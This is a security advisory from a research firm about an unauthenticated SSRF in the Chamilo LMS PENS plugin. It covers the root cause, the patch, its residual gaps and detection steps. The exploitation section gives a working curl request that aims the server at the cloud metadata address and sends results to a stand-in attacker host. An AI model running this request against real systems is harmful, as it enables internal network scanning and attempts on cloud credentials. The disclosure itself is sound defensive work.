CVE-2026-34160

CVSS 8.6 · High Patched
Type
Vulnerability research
Published
Reading time
9 min read
Author
rootzero
Lire en français
Lire en français →

CVE-2026-34160: unauthenticated SSRF in the Chamilo LMS PENS plugin through package and callback URLs

The PENS endpoint of Chamilo LMS 2.0 fetched package URLs and posted callbacks to addresses chosen by anyone, internal hosts and cloud metadata included.

For your decision

Impact
The server can send requests to internal services or cloud metadata addresses.
Conditions
The PENS plugin endpoint must be exposed. Reachable destinations depend on the server network.
Recommended action
Apply Chamilo 2.0-RC.3 or later and review plugin access and outbound network restrictions.

Advisory facts

Package
composer · chamilo/chamilo-lms
Affected versions
2.0-RC.2
Fixed in
2.0-RC.3
CVSS
8.6 High
Weakness
CWE-306, CWE-918
Access needed
No authentication
Advisory published
Credit
rootzero

Investigation summary

The PENS plugin endpoint public/plugin/Pens/pens.php of Chamilo LMS 2.0 required no session and took its package-url, receipt and alerts URLs from the request. The URL checks only looked at the scheme and the presence of a host, so an unauthenticated attacker could make the server send GET and POST requests to internal hosts and to the cloud metadata service. Fixed in 2.0-RC.3.

After the installer, the PENS endpoint

After Chamilo’s installer endpoint, we kept reviewing directly executable PHP files that could make outbound requests. The PENS entry point, added to master on 22 March 2026, read POST fields and called PensProcessor without requiring a session or checking whether the plugin was enabled. We compared the identity fields defined by the protocol with their actual use: they were parsed, but never used to authorise the call.

We then traced the three possible network destinations: the package download and two callbacks. Validation required a scheme and host, not a public destination; a #.zip fragment satisfied the package-name shape without changing the URL sent over the network. We built a PoC with a local HTTP listener to record both requests, but the retained dossier has no listener transcript. The request flow and missing checks are supported by the code; we do not present an outbound hit as an observed local result. We reported the issue on 24 March. Chamilo integrated an initial fix that day, released 2.0-RC.3 on 1 April and published CVE-2026-34160 on 14 April. The PENS transport was hardened again in August; that later work matters when assessing the fix, without changing what the original proof showed.

Three outbound requests in one protocol

PENS asks an LMS to download a package from a collect URL and report the result to receipt and, optionally, alerts URLs. In Chamilo, those three destinations were the relevant input boundary.

By design, then, the LMS fetches a URL supplied by a remote client and posts to two more. That is the shape of a server-side request forgery, and the protocol is only safe when the server knows who is calling and restricts where it connects. On a cloud instance, the reachable destinations include the instance metadata service at 169.254.169.254; on premises, they include the internal network of the LMS host.

The entry point and the unused identity fields

The entry point is short:

// public/plugin/Pens/pens.php (master, af6b700)
require_once __DIR__.'/lib/PensProcessor.php';

header('Content-Type: text/plain; charset=UTF-8');

try {
    $payload = $_POST;
    // ...
    $processor = new PensProcessor();
    echo $processor->handle($payload);
}

Neither this file nor PensProcessor::handle() checks for a session or for the plugin being enabled. The PENS protocol carries system-user-id and system-password fields for client authentication; the library parses them and the processor never reads them.

The URL validation in PensProcessor.php was the next stop. isAllowedDownloadUrl() and isAllowedCallbackUrl() check the scheme and the presence of a host, then return true. The docblock of the callback check promises URLs “pointing to public hosts or to the current Chamilo host”, which the code does not implement. One more detail made the case clear: the same file already contained a stricter function, isAllowedRemoteUrl(), which resolves the host and rejects private and reserved addresses. Nothing on the download path called it.

The bug is a variant of the previous one: same product, same kind of entry point reachable without a session, and, here, a defence that existed in the code base without being wired to the dangerous path.

Root cause

The download path validates the URL with the weak check, then hands it to cURL:

// public/plugin/Pens/lib/PensProcessor.php (master, af6b700)
if (!$this->isAllowedDownloadUrl($request->getPackageUrl())) {
    error_log('[Pens][collectPackage] download url rejected');
    throw new PENSException(1301);
}
// ...
$curlHandle = curl_init();
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
curl_setopt($curlHandle, CURLOPT_FILE, $fileHandle);
curl_setopt($curlHandle, CURLOPT_FOLLOWLOCATION, false);
$result = curl_exec($curlHandle);

private function isAllowedDownloadUrl(string $url): bool
{
    $parts = parse_url($url);
    if (!is_array($parts)) {
        return false;
    }

    $scheme = strtolower((string) ($parts['scheme'] ?? ''));
    if (!in_array($scheme, ['http', 'https'], true)) {
        return false;
    }

    $host = strtolower((string) ($parts['host'] ?? ''));
    if ('' === $host) {
        return false;
    }

    return true;
}

isAllowedCallbackUrl() repeats the same three tests, and sendCallback() then posts the PENS fields to the receipt or alerts URL with curl_init($url) and CURLOPT_POST. Loopback, RFC 1918 ranges, link-local addresses and their IPv6 equivalents are all accepted (CWE-918), and no authentication stands in front of either request (CWE-306).

The 2.0-RC.2 release itself shipped the older php-pens server (lib/pens/pens_server.php), whose collectPackage() passes the package URL to cURL with no destination check at all. PensProcessor arrived on the master branch on 2026-03-22 (commit 24178d5), and the advisory describes master at commit af6b700. Both code paths fetch the URL without any address check.

Exploitation

The php-pens parser has to accept the request before any fetch happens. Reading the library gives its requirements: command must be collect, pens-version must be 1.0.0, package-type and package-format must come from fixed lists (the processor then insists on scorm-pif and zip), package-id and receipt must be absolute URIs, package-url-expiry must be a date in the future, client must not be empty, and package-url must end with . followed by the package format. That last rule does not restrict the destination: a fragment such as #.zip satisfies it and is never sent on the wire by cURL.

A collect request built from those rules:

curl -X POST "http://<target>/plugin/Pens/pens.php" \
  --data-urlencode "command=collect" \
  --data-urlencode "pens-version=1.0.0" \
  --data-urlencode "package-type=scorm-pif" \
  --data-urlencode "package-type-version=1.2" \
  --data-urlencode "package-format=zip" \
  --data-urlencode "package-id=urn:example:probe" \
  --data-urlencode "package-url=http://169.254.169.254/latest/meta-data/#.zip" \
  --data-urlencode "package-url-expiry=2030-01-01T00:00:00Z" \
  --data-urlencode "client=probe" \
  --data-urlencode "receipt=https://attacker.example/receipt"

The server sends GET /latest/meta-data/ to the metadata address, writes the answer into a temporary file and checks it. The HTTP response to the attacker is always the same “collect command received and understood” message. The outcome travels elsewhere: the processor posts a receipt, with the PENS error code and text, to the receipt URL, which the attacker points at a server they control. Replacing the package URL with internal addresses and ports turns this into a scanner of the networks the LMS host can reach.

The second vector uses the callbacks themselves. With receipt or alerts set to an internal URL, such as http://10.0.0.50:8080/internal-endpoint, the LMS sends a POST request carrying the PENS fields to that service. Internal endpoints that accept unauthenticated POST requests and change state on receipt are the targets here. The public proof of concept demonstrates both vectors.

Impact

The GitHub advisory scores the flaw 8.6 with AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N: no account, no user action, and requests that land on systems other than Chamilo. The advisory describes access to cloud metadata, including IAM credentials, as the main risk.

The code supports a more nuanced reading, and both should be stated. The response body of the package fetch is never returned to the requester: it is stored in a temporary file and discarded unless it starts with a ZIP signature, in which case it is archived as a package. What the attacker observes is the PENS error code in the receipt, which distinguishes a 401 or 403 answer (1312) from a connection failure, an HTTP error or a body that is not a ZIP (all 1310), plus the time each request takes. On the strength of the code alone, the package vector is a blind SSRF with a coarse oracle. The metadata services of Google Cloud and Azure also require a specific request header that this GET does not send, while AWS instances that still allow IMDSv1 answer it. The high confidentiality rating therefore reflects what the server can reach rather than a demonstrated read of credentials; it remains a serious exposure for an LMS that sits next to internal services and holds learner data.

The fix

Chamilo fixed the flaw on 2026-03-24, the day of the report, in commit de4058d (“Security: Refactor URL validation logic to ensure stricter checks against private/reserved ranges”). The patch wires the existing strict function to both paths and deletes the weak one:

// public/plugin/Pens/lib/PensProcessor.php (2.0-RC.3)
if (!$this->isAllowedPackageUrl($request->getPackageUrl())) {   // calls isAllowedRemoteUrl($url, true)
    throw new PENSException(1301);
}

private function isAllowedCallbackUrl(string $url): bool
{
    return $this->isAllowedRemoteUrl($url, false);
}

private function isAllowedRemoteUrl(string $url, bool $allowCurrentHost): bool
{
    // scheme and host checks as before, then:
    if ($this->isLocalHostName($host)) {
        return $allowCurrentHost && $this->isCurrentApplicationHost($host);
    }

    $resolvedIp = gethostbyname($host);
    if (filter_var($resolvedIp, FILTER_VALIDATE_IP)) {
        $isPublicIp = filter_var(
            $resolvedIp,
            FILTER_VALIDATE_IP,
            FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
        );

        if (!$isPublicIp) {
            return $allowCurrentHost && $this->isCurrentApplicationHost($host);
        }
    }

    return true;
}

FILTER_FLAG_NO_RES_RANGE covers 127.0.0.0/8 and 169.254.0.0/16, and redirects stay disabled, so the cases in the advisory are closed. The fix shipped in 2.0-RC.3, tagged on 2026-04-01.

The check still has the limits of a validate-then-fetch design. gethostbyname() only returns IPv4 addresses and returns its input unchanged when resolution fails, in which case the filter_var() branch is skipped and the function returns true: IPv6 literals and names without an A record are not filtered. The name is also resolved twice, once by the check and once by cURL, which leaves room for DNS rebinding. Chamilo addressed this class later, in commit 3afab56 of 2026-08-07 (“Security: harden PENS remote transport against SSRF”). Downloads and callbacks now go through a PensRemoteTransport built on SafeHttpClientHelper, a wrapper around Symfony’s NoPrivateNetworkHttpClient that, per its documentation, refuses targets resolving to loopback, private or reserved ranges and re-validates every redirect hop. The transport also disables redirects, caps the download size while streaming, removes the current-host exemption and, per the commit message, covers translated IPv6 addresses. Chamilo 3.0.0-beta.1, released on 2026-08-13, includes it.

A sound SSRF defence for a feature like PENS has five parts, and the later transport implements most of them: authenticate the client before any outbound request (PENS already defines credentials for this); resolve the name, check every returned address, IPv4 and IPv6, including IPv4-mapped forms; connect to the address that was checked, by pinning it or by validating the peer address at connection time, so that a rebinding answer cannot slip in; refuse redirects or validate each hop with the same rules; and back all of this with an egress policy on the host.

Detection and mitigation

  1. Update to 2.0-RC.3 or later. On the 3.0 line, versions from 3.0.0-beta.1 include the rewritten transport.
  2. If PENS is not used, block /plugin/Pens/pens.php and the Symfony route /plugin/pens/collect at the web server; the controller behind that route declares no access check of its own.
  3. If PENS is used, restrict both entry points to the addresses of the authoring tools that publish to the LMS.
  4. Search the PHP error log for [Pens][collectPackage] start package-url= lines: the vulnerable processor logs every package URL it receives, and URLs pointing at private, loopback or link-local addresses are a clear signal.
  5. Filter outbound traffic from the LMS host, block the metadata address for the web server’s user where the platform allows it, and require IMDSv2 on AWS instances.

Timeline

Date Event
2026-03-09 Chamilo 2.0-RC.2 released
2026-03-22 PensProcessor added on master (24178d5); vulnerability found
2026-03-24 Private report through GitHub security advisory GHSA-g2xj-4cch-j276
2026-03-24 Fix committed (de4058d)
2026-04-01 Chamilo 2.0-RC.3 released
2026-04-14 Advisory GHSA-g2xj-4cch-j276 published with CVE-2026-34160
2026-08-07 PENS transport rebuilt on the SSRF-safe HTTP client (3afab56)
2026-08-13 Chamilo 3.0.0-beta.1 released with that change

References

  1. Vendor advisory · CVE-2026-34160 github.com/chamilo/chamilo-lms/security/advisories/GHSA-g2xj-4cch-j276
  2. NVD entry · CVE-2026-34160 nvd.nist.gov/vuln/detail/CVE-2026-34160
  3. CVE.org record · CVE-2026-34160 www.cve.org/CVERecord?id=CVE-2026-34160
  4. MITRE CWE-306 cwe.mitre.org/data/definitions/306.html
  5. MITRE CWE-918 cwe.mitre.org/data/definitions/918.html
  6. Project repository github.com/chamilo/chamilo-lms
  7. Proof of concept and reproduction notes github.com/romain-deperne/CVE-2026-34160

Cite this advisory

rootzero. “CVE-2026-34160: unauthenticated SSRF in the Chamilo LMS PENS plugin through package and callback URLs”. Vulnerability research, rootzero, 14 April 2026. https://rootzero.eu/en/research/cve/cve-2026-34160-chamilo-pens-ssrf/

#Vulnerability research

Have your code audited before someone else does.

Your team needs to decide what to fix before a release or assess a critical dependency. We scope an engagement around that decision, with evidence and explained remediation priorities.